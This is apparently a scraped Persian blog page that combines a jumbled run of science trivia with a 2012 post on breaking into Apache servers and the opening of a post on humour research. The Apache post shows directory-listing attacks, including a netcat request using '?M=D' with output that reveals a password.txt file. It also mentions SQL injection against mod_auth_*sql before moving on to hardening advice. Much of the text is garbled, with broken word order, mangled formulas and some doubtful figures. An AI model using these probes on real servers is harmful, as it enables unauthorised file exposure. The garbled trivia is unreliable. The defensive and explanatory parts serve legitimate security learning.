چرا حرکت ماھواره ھا از شمال به جنوب است؟. ٣
کشد یساعت طول م ١٫۵ زیرا ھر یک دور چرخشاین ماھواره ھا به دور زمین حدود
دھد و از یاره یک نوار مشخصاز سطح زمین را پوششمو در طول این مدت ماھو
ساعت دوم یک ١٫۵ که در طول این مدت زمین ھم در حال چرخشاست در یآنجای
ساعت یک عکس ١۶ دھد ، در نتیجه در ھر ینوار دیگر از زمین را پوششم
باید یجاسوسیکه ماھواره ھا یاز آنجای .شود یکامل از کره زمین گرفته م
.فرستندیین را زیر نظر داشته باشند آنھا را از شمال به جنوب مھمه زم
ھزار کیلومتر از سطح ٢٠ که وجود دارد این است که اگر ینکته جالب توجه
رسیم که از آنجا ھر دور چرخشحول زمین یم یزمین بالا برویم به مکان
عتسا ٢۴ دانیم در عرضاین یکشد و ھمانطور که م یساعت طول م ٢۴ دقیقآ
چرخد به ھمین دلیل از آن مکان ھمواره یکیزمین ھم یک دور به دور خودشم
را آنجایمخابرات یبینیم و بر این اساسھمه ماھواره ھا ینقطه از زمین را م
درجه با ١٢٠ عدد ھستند که در فضا ٣ یمخابرات یاین ماھواره ھا .دھند یقرار م
البته تعداد ).دھند ییکدیگر فاصله دارند و کل زمین را پوششم
٣ فرستنده این ماھواره ھا زیاد است و ھر یک از این شرکتھا از یشرکتھا
( .کنند یماھواره استفاده م
کیاولین بار کلید زد؟
از ایام قدیم تا قرن ١٨ میلادی ، قدیمیترین شکل قفل ، قفلیاست که
در ویرانه ھای خرساباد نزدیکینینوا، پیدا شده است و حدود ۴ ھزار سال
قدمت دارد. این قفل چوبی است و چند میله چوبیقابل حرکت دارد که در
ون را در وضعیت بسته نگهسوراخ ھاییمناسب روی کلون می افتند و کل
میدارند. کلید آن ھم چوبی است و میله ھاییدارد و می توان آن را در شیاری
در کلون داخل کرد. میله ھای کلید، میله ھای قابل حرکت قفل را به ارتفاع
مناسب بالا می برند و بیرون کشیدن کلون ممکن می شد. مصریان قدیم
نمونه ھایی از آن در ژاپن و نروژ نیز به این نوع قفل را می شناختند و ،
دست آمده است. در حفره ھای تپه چغازنبیل در استان ایلام ، کلون و میله
.ھایی سنگیپیدا شده که قدمت آن به قرن سیزدھم میلادی میرسد
رومیان ، قفلھا و کلیدھای فلزی را اختراع کردند و برای اولین بار از ضامن
استفاده کردند. قفلھای ضامن دار صدھا سال ، تنھا ھا برای ایمنیقفل
وسیله اطمینان بخشبرای مردمان به شمار میرفت. در واقع ضامن ھا ھمان
، برآمدگی ھای اطراف سوراخ کلید در قفل ھستند، به طوری که اگر کلیدی
شیارھاییمتناظر با ضامن ھا نداشته باشد، گردانیدن و حرکت آن در قفل
طیقرنھای متمادی ، قفل سازھا ابتکارھای فراوانیدر طرح .ممکن نیست
، ضامن ھا ارائه کردند و در نتیجه ، کلیدھای پرپیچ و خمیپیدا شد. رومیان
کلیدھای کوچکیھم می ساختند و آنھا را به عنوان انگشتر به دست می
کردند؛ ھمچنین علاوه بر قفلھای ثابت ، قفل قابل انتقال را ھم وارد کار
کردند. قفل سازان قرون وسطی ، بخصوصدر کشور آلمان ، در ساختن
قفلھای ظریف تبحر خاصیداشتند. کلیدھا و قسمتھای متحرک قفل را
بسیار پرکار و ضامن ھا را بسیار در ھم پیچیده می ساختند و ظاھر قفلھا
رابه طور بسیار زیبایی تزیین می کردند. با این ھمه ، توجه و نیاز
نی که در آن روزگاران پرآشوب به قفلھای مطمئن بود، در سازوکارفراوا
قفلھا چندان پیشرفتی حاصل نشد. درھم پیچیدگیضامن ھا و پنھان
.کردن سوراخ کلید، تنھا وسیله ایمنیبه شمار میرفت
یآیا میدانستید که پنجاه درصد از مردان و ده درصد از زنان جھان سیگار -
ھستند
..دانستید که وقتی یک نوزاد در حال گریه است با صدایش..شایا می -
شما ارام خواھد شد و این به دلیل صدای ابی است که اطراف نوزاد را در دل مادر
گرفته است.در ضمن این یکی از دلایلیاست که چرا صدای ساحل دریا به
.انسان ارامشمیدھد
ه اب و روغن با ھم در نمییکی از حقایق اصلیزندگی روزمره ان است ک -
﴾﴾روغن پایه﴿﴿ امیزند.بیشتر ادویه جات تند از نظر ساختار شیمیایی
میباشد.بنابراین نوشیدن اب بروی دھانی که بر اثر خوردن فلفل یا ادویه
تند به سوزشافتاد بیحاصل است.بھترین راه حل برای بر طرف کردن
خور جذب کند و در این بین نان تندی از دھان خوردن چیزی است که چربیرا به
ییا ھر چیزی که نشاسته داشته باشد و در دسترسباشد نتیجه خوب
بدست میدھد.راه حل دیگر بعد از خوردن نان نوشیدن شیر است.ھر چند که
است اما دارای ماده ای شبیه به پاک کننده ﴾﴾اب پایه﴿ شیر از لحاظ ساختار
﴿detergent) ا روغن با چربیدر میامیزد و انرااست که مانند صابون ب
. میشوید و می برد
چرا اب دریا شور است؟ -
قسمتیاز نمک موجود در اب دریا از طریق فعالیت ھای اتشفشانی زیر ابی
وارد ان میشود اما قسمت اعظم این نمک مربوط به فرسایشپوسته زمین
میشود و از طریق یا خاک است.املاح معدنیموجود در خاک در اب باران حل
رودخانه ھا به دریاھا حمل میگردد.انگاه زمانی که بر اثر تابشنور خورشید
قسمتی از اب دریا بخار میشود نمکی که در ان وجود دارد بر جای باقی
میماند و این امر باعث میگردد که تراکم نمک موجود در اب افزایشیابد.امروزه
اھایازاد جھان ٣٫۵ درصد است که بیشترمیزان املاح معدنیموجود در اب دری
انرا سدیم کلراید یا ھمان نمک طعام ﴿CINa) .تشکیل میدھد
ایا میدانستید که چرا وقتییک سیب گندیده را در بین سیب ھای -
میگندند.دلیل این است یسالم قرار میدھیم بقیه سیب ھا ھم بعد از مدت
که سیب گندیده یک نوع گاز ﴿ethylene) خودشانتشار میدھد که باعث از
.گندیدن بقیه سیب ھا میشود
ایا میدانستید که گرمیدر تابستان بخاطر نزدیکیزمین به خورشید -
﴾از شانسزمین تقریبا در دورترین فاصله خود به خورشید است﴿.نیست
.بلکه بخاطر ٢٣٫۵ درجه کجیزمین است
.زه دو سکه بروی ھم کلفتیداردایا میدانستید که لایه ازن فقط به اندا -
ایا میدانستید که اگر یک سوزن را ارام روی اب بگذارید روی اب شناور -
اگر در ان اب کمی پودر صابون بریزید یول.﴾بخاطر کششسطحی اب﴿ میشود
.دیگر سوزن بروی اب نخواھد ماند
طرف تا طرفایا میدانستید که اگر یک انسان سوراخیبه مرکز زمین و از ان -
دیگر زمین بکند و انگاه یک تکه سنگ درون ان سوراخ بیاندازد , سرعت
سنگ با رسیدن به مرکز زمین زیاد میشود و با گذشتن از مرکز زمین
سرعتشکم میشود و این تا ابد بین دو سر سوراخ اتفاق خواھد افتاد
﴾البته که این یک نظریه است و نمیتواند واقعیت داشته باشد﴿
آیا میدانید داستان اشعه ایکس - (X) بیشتر از یکصد سال پیشآغاز
شد؟ درنیمه سده ی نزدھم مردی به نام ھاینریشگایسلر کشف کرد که اگر
لوله ای که فاقد ھواست تحت ولتاژ بالا تخلیه ی الکتریکی شود نورھای
اتزیباییدرون لوله تولید خواھد شد. مدتی پساز آن ویلیلم کروساثب
کرد که علت درخشندگیذرات الکتریکیاست. پساز آن ھاینریشھرتز
نشان داد که این اشعه میتواند از لایه ھای نازک طلا و یا پلاتین عبور
کند. شاگرد وی به نام لنارد پنجره ھاییاز مواد ساخت بطوری که اشعه
کس میتوانست از راه پنجره باز لوله خارج شود. اکنون به کشف اشعه ای
: پردازیم
در سال ١٨٩۵ ویلھم رونتگن با یکی از این لوله ھا که بدون پنجره بود
.آزمایشیانجام میداد وی متوجه شد که بلورھای نزدیک لوله درخشیدند
جون او میدانست اشعه ای که قبلا کشف شد (اشعه کاتدی ) از شیشه
ید نوع دیگری ازعبور نمی کند تا چنین اثری داشته باشد. گمان برد با
اشعه وجود داشته باشد. چون این اشعه نامرئی که از نور و اشعه دیگر
بسیار متفاوت بود قابل تشریح نبود. آن را اشعه ایکس( به معنی اشعه
مجھول ) نامید. بعد ھا دانشمندان آن را اشعه رونتگن نام نھادند و اکنون نیز
.میبرند این نام را بسیاری از دانشمندان به کار
یعصب یشبکیه که محل خروج رشته ھا یاست رو یلکه کور چشم نقطه ا
چه) وجود ندارد یچشم از آن است و در این محل کوچک ھیچ گونه سلول بینای
این محل بیفتد دیده یتصویر رو یلذا وقت (یو چه استوانه ا یمخروط
استفاده از را با یاست که این محل خال یسازوکار مغز طور .نخواھد شد
یتصویر سایر نقاط حدسمیزند و ما معمولا متوجه این نقطه تاریک نم
اگر دقیقا یک تصور کوچک در این محل بیفتد ما واقعا آنرا یشویم ول
.نخواھیم دید
ایا میدانستید علاوه بر جامد مایع و گاز و پلاسما حالت پنجم ماده -
می این دسته مواد مربوطچگالشبوز انیشتین است که به اثرات کوانتو
در این حالت ماده فاقد چسبندگی، کششسطحیاست و میخواھد خود .است
ظاھری .را در حداکثر سطح بگستراند و از دیواره ھای ظرف خود بالا میرود
شبیه مایع دارد و لی کاملا مثل کاز ایده ال عمل میکند و اگر آنرا به حرکت در
در دماھای بسیار پایین نمونه ۴ ھلیم .مه میدھدآوریم تا ابد به حرکت خود ادا
.حالت ششم ماده ھم اخیرا کشف شده است .ای از آن است
از ھر ماده به انرژی جالب است بدانید که انرژی حاصل از تبدیل یک گرم -
متر که در پشت 100 برابر با انرژی پتانسیل موجود درسد آبی به ارتفاع
.جمع شده باشد آن نود میلیون متر مکعب آب
علت جرقه زنیدر سنگ چخماخ چیست؟ -
سنگ چخماخ با نام flint معروف می باشد، تیره رنگ می باشد و در شاخه
کوارتزھا قرار میگیرد Flint درجه 573 نوع کوارتز آلفا میباشد که تا دمای
سانتیگراد پایداری دارد و به صورت گرھکھاییدر گچ و سنگ آھک یافت می
از سنگھای حاوی سیلیس. شود SiO که عموماً منشاء رسوبیدارند می 2
این سنگھا یک پارچه بوده که به علت نقصساختمانیدر برخورد با .باشد
یکدیگر جرقه زده و O- آزاد مینماید این سنگ بانام سنگ آتشزنه معروف 3
. میباشد
راخ شده است ولیچرا لایه ازن در نواحیقطبی که آلایندھا کمتر است سو -
در مناطق دیگری که عملیاتھای صنعتی و آلایندھھا وجود دارد سوراخ نشده
است ؟
مھمترین عامل وجود ابرھای استراتوسفری در نواحیقطبی است به دلیل
سردتر بودن قطب جنوب این ابرھا در آنجا پایدارترند تابشپرتوھای فرا
رادیکال ھای کلر در مجاورت بنفشخورشید در آغاز بھار باعث آزاد شدن
. بلورھای یخ موجود در این ابرھا می گردد
:در مورد جیوه یاطلاعات جالب -
بیشترین معادن جیوه دنیا در اسپانیا و ایتالیاست و مھمترین سنگ
معدن آن سینابار یا سولفور جیوه است با گوگرد و ھالوژنھا ترکیبمی
ک بی اثر است جیوه و ترکیبات آنشود اما با اسیدھا به جز اسیدنیتری
توسط پوست و بلعیدن و تنفسجذب بدن می شود ماکسیمم مقدار مجاز
میلی گرم در متر مکعب و ماکسیمم مقدار 1.0 بخار جیوه در ھوای محیط کار
میلی گرم در لیتر است کلیه ھا نقشمھمیدر 3.0 جیوه مجاز موجود در ادرار
د ضمن اینکه بیشترین تجمع جیوه در اعضایدفع جیوه از راه ادراری دارن
. بدن نیز در کلیه ھاست
!زند یمیلیون مرتبه پلک م ١٠ انسان سالانه بیشاز -
!مرتبه بزرگتر از زمینه ٣٣٠٣٣٠ خورشید -
تواند تقریبا یکمیلیون گالن آب تمیز راییک گالن روغن سوخته، م -
!آلوده کند
!کنندیپا رشد م یچھار برابر ناخنھا انگشتان دست، تقریبا یناخنھا -

نفوذ در سرور آپاچی بخش اول

آزاد روزفراخ — Sat, 21 Jan 2012 10:36:04 GMT

نویسنده:آزاد روزفراخ

Apacheنفوذ در سرور

یکی از متداولترین سرویس دهندگان وب بر روی اینترنت است . در مقایسه (Apache ) آپاچیآپاچی مسائل و مشکلات امنیتی کمتری را داشته ، ( IIS ) با سرویس دهنده وب مایکروسافتولی همچنان دارای آسیب پذیری خاص خود است .
( CA-2002-و 17 CA-2002-علاوه بر وجود نقاط آسیب پذیر در ماژول ها و کد آپاچی ( 27نیز دارای نقاط آسیب پذیری خاص خود بوده که ضعف های PHP و CGI ، تکنولوژی هایامنیتی آنان به سرویس دهنده وب نیز سرایت کرده است . در صورت وجود نقاط آسیب پذیر در سرویس دهنده آپاچی و یا عناصر مرتبط به آن ، زمینه تهدیدات زیر فراهم می گردد :
( DoS ) • غیر فعال نمودن سرویس• نمایش و به مخاطره انداختن فایل ها و داده های حساس

برای بقیه مطلب به ادامه مطلب مراجعه فرمایید......

Apache نفوذ در سرور
یکی از متداولترین سرویس دهندگان وب بر روی اینترنت است . در مقایسه (Apache ) آپاچیآپاچی مسائل و مشکلات امنیتی کمتری را داشته ، ( IIS ) با سرویس دهنده وب مایکروسافتولی همچنان دارای آسیب پذیری خاص خود است .
( CA-2002-و 17 CA-2002-علاوه بر وجود نقاط آسیب پذیر در ماژول ها و کد آپاچی ( 27نیز دارای نقاط آسیب پذیری خاص خود بوده که ضعف های PHP و CGI ، تکنولوژی هایامنیتی آنان به سرویس دهنده وب نیز سرایت کرده است . در صورت وجود نقاط آسیب پذیر در سرویس دهنده آپاچی و یا عناصر مرتبط به آن ، زمینه تهدیدات زیر فراهم می گردد :
( DoS ) • غیر فعال نمودن سرویس• نمایش و به مخاطره انداختن فایل ها و داده های حساس
• دستیابی به سرویس دهنده از راه دور
• به مخاطره افتادن سرویس دهنده ( دستکاری و خرابی سایت )
تمامی سیستم های یونیکس قادر به اجراء آپاچی می باشند . آپاچی بصورت پیش فرض بر روی تعداد زیادی از نسخه های یونیکس و لینوکس ، نصب می گردد .علاوه بر امکان فوق ، آپاچی را می توا ن بر روی میزبانی دیگر که از سیستم عاملی مختلف نظیر ویندوز استفاده می نماید نیز نصب نمو د . این نوع از نسخه های آپاچی نیز می تواند دارای نقاط آ سیب پذیر خاص خود باشد .
سایتهای تجارت الکترونیک فرض را بر این گذاشته اند که صفحات وب خود را به صورت دلخواه برای مشتریهای خود ایجاد کنند و قالب توجه خود را روی مشتری مداری قرار داده اند تا بتوانند مشتریها را به سایت خود جذب کنند به طوری که هر مشتری بر اسا س علاقه مندی خود صفحات و موضوعاتی دلخواه را در سایت مشاهده کند و یا فلان صفحه را با فلان رنگ نیاز به ماژولهایی دارد تا توانایی آن را برای طراحی و Apache مشاهده کند . برای این منظوررا در معرض خ طر Apache نمایش صفحات دینامیک بالا ببرد و همین ماژولها می باشند کهقرار می دهد . برای اینکه بهتر به این موضوع پی ببرید اجازه بدهید چند مثال و نمونه را با هم مرور کنیم.

Slash لیست کردن دایرکتورها به وسیله با تعداد زیادی از اسلش های دنباله دار ، به URL بر سرور وب غلبه پیدا کرد . یک
عنوان مثال :
gi-bin//////////////////////////////////////////////////////
نمی Apache که بیشتر سرورهای
بزرگتر از 8000 کاراکتر را پردازش کنند. URL وانند یک
یپتی که برای حل این
ساله و حذف اینگونه ماژولها می توانید استفاده کنید در زیر آمده است.
ohan apache]$ ./configure –disable-module=dir –disable-module=autoindex
سر هم از قلم خواهند افتاد . هر چند که این موضوع
اثیر چندانی روی برنامه کاربردی ندارد.
و mod_dir ، mod_negotiate های طولانی از میان ماژولهای URL ترجمهمحتوای دایرکتوریهای را نمایش دهد . این آسیب Apache باعث می شود که mod_autoindexرا در مارس 2001 منتشر Apache نسخه 1.3.19 Martin Kreamer پذیری همان زمانی کهکرد ، نمایان بو د . مفهومش خیلی ساده و پیش پا افتاده است ولی با کمی تقلا و تلاش می توان به وسیله آن /c
ممکن است لیست دایرکتوریهای درایوهای اصلی سیستم را نمایش دهد . تعداد واقعی اسلش ها خیلی ساده این حمله را پیاده Perl متفاوت می باشد ولی می توان با نوشتن یک اسکریپتسازی کرد . نکته ای که در این جا باید گفته شود این است ت
اقدام متقابل در برابر اسلشهای طولانی رفع شد . اگر چه این مشکل می توانست به وسیله پیکربندی بهتر Apache این ایراد در 1.3.19به صورت پیش mod_autoindex و mod_dir نیز رفع شو د . ماژولهای Apache و کاملترقرار دارند . این ماژولها که هر کدام می توانند لیست دایرکتوریها را Apache فرض روی سرورکاربر پسند باشد ، روی سرور قرار گرفته اند ، و باید در Apache نمایش بدهند به خاطراینکهآنها را حذ ف کرد . هیچ دلیلی وجود ندارد که محتوای Apache زمان کامپایل کردندایرکتوریهای سرور وب خود را برای کاربر نهایی نمایش دهید . اسکرم
[r
در تمام Apache در mod-dir توجه به این نکته ضروری می باشد که با حذف ماژولدرخواستهای وب کاراکتر اسلشهای پشتت
4

Multiview دایرکتوری لیست شدهبدون اجازه مدیر سرور ، با هر تلاشی که بخوا هد به لیست دایرکتوری ها دست پیدا Apacheکه ، Multiviews ، Apache کند ، مخالفت می کن د . متاسفانه ، یکی از جدید ترین قابلیت هایاز سایت Kevin آسیب پذیری برای نشان دادن لیست دایرکتوریها می باشد توسطگزارش شد . این حمله می توان د به به وسیله Bugtraq در جولای 2001 به brasscannon.netلیست دایرکتوری ها را نمایش دهد: netcat مرورگر و یا از طریق دستور مستقیم برنامه
[rohan]$ echo –e “GET /some_directory?M=D HTTP/1.0\n\n” | \
>nc 192.168.42.17 80
<!DOCUMENT HTML PUBLIC “-//W#C//DTD HTML 3.2 Final//EN”>
<HTML>
<HEAD>
<TITLE> Index of /some_directory </TITLE>
</HEAD>
<BODY>
<H1>Index os /some_directory</H1>
<PRE><IMG SRC=”/icons/blank.gif” ALT=” “><A HREF=”?N=A”>Name</A>
<A HREF=”?M=A”>Last modified</A>
<A HREF=”?S=A”>Size</A>
<A HREF=”?D=A”>Description</A>
<HR>
<A HREF=”/”>Parent Directory</A> 20-Oct-1998 08:45
<A HREF=”cgi-bin/”>cgi-bin</A> 20-Oct-1998 03:37
<A HREF=”messages/”>messages</A> 28-Oct-1998 01:36
<A HREF=”wwwboard.html”>wwwboard.html</A> 16-Apr-1998 19:44
<A HREF=”password.txt”>password.txt</A> 19-Apr-1998 12:01
<A HREF=”data.txt”>data.txt</A> 16-Apr-1998 02:53
<A HREF=”faq.html”>faq.html</A> 19-Apr-1998 04:09
</PRE><HR>
</BODY></HTML>
البته خروجی این دستور ، مقداری عوض شده است تا خوانا تر باشد . اما این یک مثالی از داده می توان یاف ت . البته ما در آینده درباره فایلهای Apache هایی می باشد که در یک دایرکتوریکافی می Password.txt مهم این نوع سرور ها صحبت خواهیم کرد . برای حالا همان فایلباشد. این آسیب پذیری بسیار مفید است زیرا لیست کاملی از دایرکتوریهای سایت را نشان می دهد.
Multiview راه مقابله بااولین دف اع این است که اسناد درون دایرکتوری ریشه را پاک کنید . فایلهای غیر ضروری نباید در هر دایرکتوری ذخیره شود . یکه نکته برای توسعه دهندگان وب این است که هیچگاه داده 5 www.WebsecurityMgz.com
نفوذ در سرورهای وب
های قدیمی ، نسخه پشتیبان سایت ، و هر فایلی که مورد نیاز برنامه کاربردی نمی باشد ، نباید به وسیله مرور گر قابل دسترسی باشد . آسیب پذیری لیست کردن دایرکتوری ها وقتی ما را تهدید می کند که داده های حساس درون آنها وجود داشته باشد.
mod_auth_*sql تزریقروشی را منتشر کرد که چگونگی Stuttgart از دانشگاه RUS-CERT ، در آگوست 2001توضیح می داد . تیک (‘ ) می توانست درون SQL احراز هویت را بر پایه ماژولهایرا SQL درخواستهای وب جاگذاری شود و همین به کاربران اجازه می داد که بتوانند دستوراتشبیه سازی کنند که ساده ترین آن احراز هویت در یک سایت می باشد . البته این موضوع را ما در آینده به طور مفصل بحث خواهیم کرد.
mod_auth_*sql راه مقابله باکه استفاده می کنید را به روز رسانی کنید . البته لازم به ذکر است که mod_auth_*sql بستهرا دوباره راه اندازی کنید. Apache پس از این کار باید
نحوه تشخیص آسیب پذیریهای سیستم
بمنظور آگاهی و کسب اطلاعا ت لازم در خصوص نحوه تشخیص آسیب پذیری سرویس دهنده وب آپاچی ، می توان از آدرس های زیر استفاده نمود :
را می توان از آدرس Apache 1.3.x • در رابطه باhttp://www.apacheweek.com/features/security-13
می توان از آدرس Apache 2.0.x • برایhttp://www.apacheweek.com/features/security-20
آدرس های اشاره شده ، دارای اطلاعات فنی لازم بمنظور نحوه تشخیص آسیب پذیری سیستم و پیشنهادات لازم در خصوص ارتقاء وضعیت امنیتی می باشند . استفاده ازآدرس : نیز در این زمینه مفید است . http://httpd.apache.org/ 6

Apache روشهای کلی حفاظت از سرویس دهنده وببمنظور حفاظت یک سرویس دهنده وب آپاچی ، پیشنهادات زیر ارائه می گردد :
ارائه شده patch -1 اطمینان از نصب آخرینبمنظور آگاهی از آخرین http://httpd.apache.org/ - در این رابطه می توان از آدرساستفاده نمود. levels Patch وضعیت نسخه ها واکثر نسخه های آپاچی، می توان از آدرس code Source - بمنظور دستیابی بهاستفاده نمود. http://httpd.apache.org/download.cgiهای ارائه شده می توان از آدرس Patch - بمنظور آگاهی و دریافت آخریناستفاده نمود. http://www.apache.org/dist/httpd/patches/عناصر کلیدی سیستم عامل که آپاچی بعن وان مرجع از آنان استفاده patching -2 اطمینان ازمی نماید .در این رابطه لازم است که صرفا " ماژول های ضروری بمنظور صحت عملکرد mod_ssl سرویس دهنده ، در آپاچی کمپایل گردند .لازم است به این نکته اشاره گردد که کرم) OpenSSL نمونه ای کامل در این زمینه بوده که از نقاط آسیب پذیر در ( CA-2002-27)استفاده نموده است . ( CA-2002-23-3 از اجرای آپاچی بعنوان ریشه ، اجتناب کنید و می بایست بدین منظور ، کاربر و یا گرو هی خاص با حداقل مجوز ایجاد گردد . سایر پردازه های سیستم ضرورتی به اجراء تحت کاربر و یا گروه فوق را نخواهند داشت .
پتانسیلی اس ت که باعث تعریف مجدد محدوده یک برنامه می گردد . در حقیقت ، Chroot -4Login و یا "/" برای یک برنامه و یا یک "ROOT باعث تعریف مجدد دایرکتوری ، chrootمی تواند بعنوان یک لایه تدافعی استفاده گردد . مثلا" در صورتیکه chroot. می گردد sessionفردی به کامپیوتر شما دستیابی پیدا نماید ، قادر به مشاهده تمامی فایل های موجود بر روی سیستم نخواهد بود . علاوه بر محدودیت فوق ، محدودیت هائی در خصوص اجرای برخی از ایجاد می شود و ، /chroot دستورات نیز بوجود می آید . در این رابطه یک دایرکتوری با نامتمامی سرویس های مورد نطر با یک ان ضباط خاص در آن مستقر می گردند . مثلا" سرویس قرار می گیرد . با توجه به موارد فوق ، می بایست آپاچ ی را در / chroot/httpd دهنده آپاچی در7 www.WebsecurityMgz.com
نفوذ در سرورهای وب
اجراء و فعالیت خود را chrooted اجراء نمود . درصورتیکه آپاچی بصورت chroot یک محیطآغاز نماید ، امکان دستیابی آن به سایر بخش های موجود در ساختار دایرکتوری سیستم عامل وجود نخواهد داشت . بدین ترتیب یک لایه تدافعی مناسب در خصوص سوء chroot و خارج ازفراخوانده شده و با shell استفاده های احتمالی ایجاد می گردد . بعنوان نمونه ، ممکن است یکقرار ندارد ، می تواند زمینه سوء استفاده احتمالی را فراهم chroot در / bin/sky توجه به اینکهآپاچی می تواند ا ثرات جانبی Chrooting نماید. لازم است به این نکته مهم نیز اشاره گردد کهبانک های اطلاعاتی و سایر ماژول ها و یا ارتباطاتی که ، CGI,PHP نامطلوبی را در ارتباط بامحیط سرویس دهنده وب بمنظور سرویس دهی به آنان نیازمند دستیابی به توابع کتابخانه ای وجود داشته و می chrooting خارجی است را بدنبال داشته باشد .روش های متعددی بمنظوربایست از مستندات نرم افزار مورد نظر ، بعنوان یک منبع اطلاعاتی مناسب در خصوص ارائه راهکارهای مربوطه ، استفاده گردد
-5 بمنظور مدیریت یک سرویس دهنده وب ، لازم است فیدبک های لازم در خصوص فعالیت و کارآئی سرویس دهنده و سایر مسائلی که ممکن است یک سرویس دهند ه با آنان برخورد نماید را اخذ کرد و در ادامه با آنالیز آنان تمهِیدات لازم در خصوص مسائل موجود را بکار گرفت . ارائه logging سرویس دهنده آپاچی ، قابلیت ها و پتانسیل های انعطاف پذیری را در خصوصبا دقت نظر بالا بصورت موثر و موشکافانه logging می نماید . بنابراین لازم است عملیاتانجام گیرد تا امکان ردیابی هر نوع فعالیت امنیتی غیر مجاز و یا رفتار غیر منطقی سرویس دهنده ، فراهم گردد .پیشنهاد می گردد که با یک نظم خاص از اطلاعات موجود در فایل های لاگ ، آرشیو تهیه شود . بدین ترتیب ، امکان مدیریت فایل های لاگ و بررسی آن ان فراهم خواهد ش د . بمنظور آشنائی با فرمت های متفاوت لاگ می تواند از منابع زیر استفاده نمود :
استفاده http://httpd.apache.org/docs/logs.html از آدرس Apache 1.3.x - برایشود .
استفاده http://httpd.apache.org/docs-2.0/logs.html از آدرس Apache 2.0.x - برایشود .
در موارد متفاوتی و با توجه به شرایط پیش آمده ممکن است محتوی فایل های لاگ بتنهائی و یا سایر تکنولوژی های مبتنی بر CGI ، PHP کافی نباشد . وضعیت فوق در مواردیکه ازاسکریپت استفاده می گردد ، تشدید می گردد و می توان بمنظور افزایش توان آنالیز یک تهاجم و نمود . لاگ POST و GET سوءاستفاده از یک ضعف امنیتی ، اقدام به ثبت لاگ های مربوط بهصورت پذیرد . mod_Security می تواند از طریق POST و GET نمودن عملیات مرتبط به8 www.WebsecurityMgz.com
نفوذ در سرورهای وب
می باشد و پیشگیری ( detection Intruder ) یک سیستم تشخیص مزاحمین ModSecurityهای لازم در خصوص یک برنامه وب را ارائه می نماید . سیستم فوق ب ه همراه سرویس دهنده وب مستقر می شود و یک پوشش امنیتی مناسب را در جهت پیشگیری از یک تهاجم در ارتب اط از سرویس دهنده آپاچی حمایت می ، ModSecurity . با برنامه های وب فراهم می نمایدنماید .
- http://www.modsecurity.org/
- http://www.securityfocus.com/infocus/17064.152.44.126%20152.44.126
و سایر اسکریپت ها SSI،CGI ، PHP -6در این رابطه موارد زیر پیشنهاد می گردد :
و سایر زبان های اسکریپت را غیر فعال نمائید ( مگر اینکه ضرورتی PHP,CGI,SSI -جدی در رابطه با آنان وجود داشته باشد ).
ر ا که می تواند زمینه مساعدی ب ه منظور سوء Server Side Includes یا SSI -استفاده از سرویس دهنده فراهم کند و باعث اجرای کدهای ناخواسته گردد را غیر فعال نمائید .
و یا سایر زبان های اسکریپت PHP,CGI,SSI - در صورتیکه ضروری است که ازامکان اجرای ، suEXEC . استفاده شو د SuEXEC استفاده گردد ، می بایست ازرا فراهم Apache User Id در مقابل یک User Id اسکریپت ها تحت آپاچ ی بهمراه یکاین امکان را برای کاربران آپاچی فراهم می نماید که suEXEC می نماید در حقیقت User Id متفاوت نسبت به User Id تحت یک CGI و SSI قادر به اجرای برنامه هایمربوط به فراخوانی سرویس دهنده وب باشند .بدین ترتیب تهدیدات امنیتی کاهش و اختصاصی نوشته شده توسط CGI و SSI امکان نوشتن و اجرای برنامه هایمی بایست توام با آگاهی و دانش ، suEXEC مهاجمان ، حذف خواهد شد . استفاده ازلازم باشد چراکه در صورت استفاده نادرست و یا عدم پیکربندی مناسب و شناخت خود باعث بروز حفره های امنیتی دیگر خواهد شد .. ، setupid Root نسبت به مدیریتمی توان از suEXEC در این رابطه و بمنظور آشنائی با نحوه عملکرد و استفاده ازآدرس های زیر استفاده نمود:
از آدرس زیر استفاده می شود : Apache 1.3.x - برای9 www.WebsecurityMgz.com
نفوذ در سرورهای وب
http://httpd.apache.org/docs/suexec.html
از آدرس زیر استفاده می شود: Apache 2.0.x -- برای http://httpd.apache.org/docs-2.0/suexec.html
و سایر دایرکتوری های شامل cgi-bin - بررسی لازم در خصوص محتوی دایرکتوریاسکریپت ها انجام و لازم است تمامی اسکریپت های پیش فرض نمونه ، حذف گردند.
PHP ایمن سازیپرداختن به موضوع فوق با توجه به گستردگی مطالب از حوصله این مقاله خارج بود ه و صرفا " به دو نمونه مهم در اینخصوص اشاره می گردد :
می گردد . HTTP header - غیر فعال نمودن پارامترهائی که باعث ارائه اطلاعات درsafe در حالت PHP - حصول اطمینان از اجرایبرای دریافت اطلاعات تکمیلی دراین خصوص می توان از آدرس استفاده نمود . http://www.securityfocus.com/printable/infocus/1706mod_Security - استفاده از ماژولهای اضافه بمنظوربهبود وضعیت امنیتی . مثلا"ماژولشود . برای ، XSS :Cross Site Scripting می تواند باعث حفاظت در مقابلآشنائی و مشاهده اطلاعات تکمیلی در این خصوص می توان از آدرس استفاده نمود. http://www.modsecurity.org/SQL Injection & XSS - ممیزی و بررسی اسکریپت ها برای نقاط آسیب پذیر شاملنیز حائز اهمیت است . در این رابطه می توان از ابزارهای متعددی استفاده نمود . نرم http://www.cirt.net/code/nikto.shtml قابل دسترس در آدر س ) Nikto افزاراست . CGI ) یکی از مناسبترین ابزارهای پویش و بررسی10

با آرزوی موفقیت

آزاد روزفراخ

راز شوخ طبعی بر ملا شد

آزاد روزفراخ — Fri, 20 Jan 2012 19:31:49 GMT

یگموند فروید" فکر می کرد شوخ طبعی ناشی از احساس برتری یا ناسازگاری است، در حالی که "مارک تواین" ریشه این رفتار را خوشی نمی دانست بلکه راز شوخ طبعی را در اندوه می دید.
اکنون دانشمندان اعلام کرده‌اند برای همیشه به این بحث خاتمه خواهند داد. به گفته آنها شوخ طبعی ناشی از تخطی آرام و بی خطری از مسیری معمولی است که جهان بر روی آن در حرکت است...................

بقیه در ادامه مطلب

راز شوخ طبعی بر ملا شد

کمدینها، هنرپیشه ها، نویسنده ها و روانکاوان از گذشته های دور در جستجوی کشف این راز بوده اند که چه عاملی می تواند منجر به خنده دار شدن موضوعی شود و اکنون دانشمندان آن را در یکی از ساده ترین قوانین زندگی انسان کشف کرده اند.

به گزارش مهر، "زیگموند فروید" فکر می کرد شوخ طبعی ناشی از احساس برتری یا ناسازگاری است، در حالی که "مارک تواین" ریشه این رفتار را خوشی نمی دانست بلکه راز شوخ طبعی را در اندوه می دید.
اکنون دانشمندان اعلام کرده‌اند برای همیشه به این بحث خاتمه خواهند داد. به گفته آنها شوخ طبعی ناشی از تخطی آرام و بی خطری از مسیری معمولی است که جهان بر روی آن در حرکت است.
